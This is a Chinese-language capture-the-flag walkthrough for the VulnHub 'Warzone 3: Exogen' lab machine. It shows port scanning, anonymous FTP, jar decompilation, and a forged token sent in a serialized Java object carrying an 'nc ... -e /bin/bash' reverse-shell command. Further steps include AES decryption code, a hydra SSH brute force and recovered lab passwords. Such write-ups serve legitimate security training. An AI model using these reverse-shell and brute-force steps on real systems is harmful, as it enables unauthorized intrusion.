靶机下载地址: https://www.vulnhub.com/entry/warzone-3-exogen,606/

# 确认攻击目标

攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 WARZONE3:桥接于 192.168.0.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

开靶机前后各扫描一次,得到靶机 ip 192.168.0.186

Image

2 )扫描靶机上开放的端口及详细信息
sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.187 --min-rate=5000

Image

nmap 参数说明
- sV 表示扫描服务及版本信息
- sC 表示以默认的脚本进行扫描
- T4 表示控制扫描的速度
- Pn 表示不用 ping 去扫描机器
–open 表示只扫描开放的端口
- p- 表示扫描所有的端口
–min-rate 设置最小的扫描速度

检索到的有效服务如下所示:
21 ftp:可尝试进行匿名登陆下载文件
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
4444 krb 524 :未知端口

# FTP 匿名访问

打开 ftp://192.168.0.186/ 进行 ftp 信息收集
有一个文件夹 pub、里边有一个 jar 文件和一个 txt 文件

Image

将 ftp 服务器里的这两个文件都下载到本地,可以在 ftp 命令行中使用 lcd 来控制本地的目录

note.txt 中提示 token 是 username 的 SHA 256 值,并且有一个邮箱是 alienum@exogenesis,即用户为 alienum

Image

# java 代码审计

将下载后的 jar 文件,用 jd-gui 打开后查看源代码

Image

RE 有四个量,分别是 token,option,cmd,value,以及一些继承序列化和转变为字符串、get set 方法等

Image

Token 由 value 和 role 组成

Image

在 Starter 即主函数中找到了一个判断角色,当角色为 astronaut 时允许进入

Image

先将这个 jar 文件执行一下,弹出来一个登陆框,随意输入信息之后报错,识别不到 url 地址为 warzone.local

Image

改变本地 hosts 文件,修改其 DNS 解析地址为靶机 ip

Image

并同时将已知用户 alienum 的 SHA 256 值计算出来,此 SHA 256 值根据提示内容来说就应该是 alienum 用户的 TOKEN 值

Image

也可以根据 terminal 的命令来计算,在 kali 下输入如下命令即可计算 SHA 256
echo -n "alienum" | shasum -a 256

Image

6c72561d26722d88896b520da9651aa24e9ae6eca82e6c8e68af720cf21377ec

再次用 alienum 用户和他的 token 登陆发现爆了错误

Image

在看到 java 源代码的时候,知道它执行了以个 CMd 的命令,现在我们已经可以绕过登陆并且又了 token 的值,可以写一个 java 文件执行任意命令,拿出 IDEA 其他的两个文件不变,主函数改为下面的代码

Image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package alien;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;

public class Starter {
static Socket socket = null;
static ObjectOutputStream os;
static Token token;

public static void main(String[] args) throws IOException, ClassNotFoundException {
socket = new Socket("warzone.local", 4444);
os = new ObjectOutputStream(socket.getOutputStream());
token = new
Token("6c72561d26722d88896b520da9651aa24e9ae6eca82e6c8e68af720cf21377ec", "astronaut");

RE list = new RE();
list.setToken(token);
list.setOption("VIEW");
list.setValue("VALUE");
list.setCmd("nc 192.168.0.168 4444 -e /bin/bash");

os.writeObject(list);
ObjectInputStream is = new ObjectInputStream(socket.getInputStream());
RE response = (RE) is.readObject();
os.close();
socket.close();
System.out.println(response.getValue());
}
}

执行之后 shell 成功反弹,拿到了 exomorph 的权限

Image

# java 脚本解密 AES

1
2
3
4
# 标准化tty就不多说了
script -qc /bin/bash /dev/null
stty raw -echo;fg
export TERM=xterm;reset;stty rows 64 columns 118

此用户下有两个文件,cat 发现乱码,file 检查文件属性,strings 查看内容

Image

得到了一个密码,和一个 jar 文件,将 jar 文件拉到本地导入到 jd-gui

Image

CrypoException 是一个普通的类

Image

Cryptor 是一个 AES 加密文件,加密过程中会调用这个里边的方法

Image

Main 函数定义要加密的 key,以及加密后的文件的路径

Image

现在就用来写一个解密文件,用来将我们得到的密码 $:2Czq$(解密

1
2
3
4
# 先定义解密函数,通过如下方法来调用
public static void decrypt(String key, File inputFile, File outputFile) throws CryptoException {
doCrypto(Cipher.DECRYPT_MODE, key, inputFile, outputFile);
}
Image

再来修改主函数,密钥维持不变,修改当前的解密文件内容和解密后的文件保存路径,并且调用解密方法,最后将我们解密后的内容查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package alienum;

import java.io.File;
import java.io.IOException;

public class Main {
static String inputPath = "/Users/chentuo/JavaProjects/alienum/aliens.encrypted";
static String outputPath = "/Users/chentuo/JavaProjects/alienum/aliens.txt";
public Main() {
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
String key = "w4rz0nerex0gener";
File inputFile = new File(inputPath);
File decryptedFile = new File(outputPath);

try {
alienum.Cryptor.decrypt(key, inputFile, decryptedFile);
} catch (CryptoException var5) {
System.out.println(var5.getMessage());
var5.printStackTrace();
}
}
}
Image

运行此文件之后,即可以在自己设置的目录下找到我们的解密文件,但是这个解密之后的 txt 文件不能用 cat 来查看会显示乱码,用 file 命令确定是一个 data 类型后,用 strings 查看得到了解密后的文件内容
minotaur:m1nom1no…
scylla:scyscy…
echidna:ech1ech1…
cyclops:cyccyc…
anunnaki:nak1nak1…
anunnaki:nak1nak2…
anunnaki:nakinaki…

Image

# sshpass 连接靶机

得到了一串用户名和密码的组合,可能是 ssh 的用户和密码
cat aliens.txt | cut -d ':' -f 1 > user.txt
cat aliens.txt | cut -d ':' -f 2 > pass.txt

Image

检查一下用户名和密码文件是否正确

Image Image

hydra -L user.txt -P pass.txt ssh://192.168.31.53 -f -t 32 -I -vV

Image Image

用 ssh 成功连接到了靶机中

Image

第一次登陆成功之后,第二次就可以用 sshpass 在命令行输入密码直接连接
sshpass -p nak1nak1.. ssh anunnaki@192.168.0.186

Image

# java 代码分析

检索服务器文件,看到提示文件与一个 gpg 的加密文件,info.txt 提示要用–batch 来解密 gpg 文件,否则不会让输入密码

Image

然而直接解密是可以弹出来输入密码的界面的,输入 ssh 爆破出来的密码 nak1nak1… 可以成功解密 gpg 为 jar 文件

Image

同样的下载到本地,用 jd-gui 打开,开始阅读源码,Cryptor.class 里边定义了一个加、解密方法

Image

Main.class 中设有盐值,并且在条件判断正确时为打印 passwd

Image

Recources.class 里边是一些加密的字符串

Image

编写 java 代码,进行解密,代码内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;

public class Main {
public static void main(String[] args) throws NoSuchPaddingException, IllegalBlockSizeException, NoSuchAlgorithmException, BadPaddingException {
Cryptor cryptor = new Cryptor();

String plaintext = cryptor.decrypt(cryptor.decrypt("pr0tect1on1smust", "/aom7EHcuiCWzNArA72UVn0nnVtJ5jZSPHDmjFPc5KQ="), "jJ2Mrz4wjZDMSPwDr6TolQ==");
System.out.println("[+] Success, the password is : " + plaintext);
}
}
Image

运行代码,成功解密出来了密码为 ufo_phosXEN

Image

判断一下这个密码属于哪个用户,发现就是 root 用户的

Image

-> 成功拿到了 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝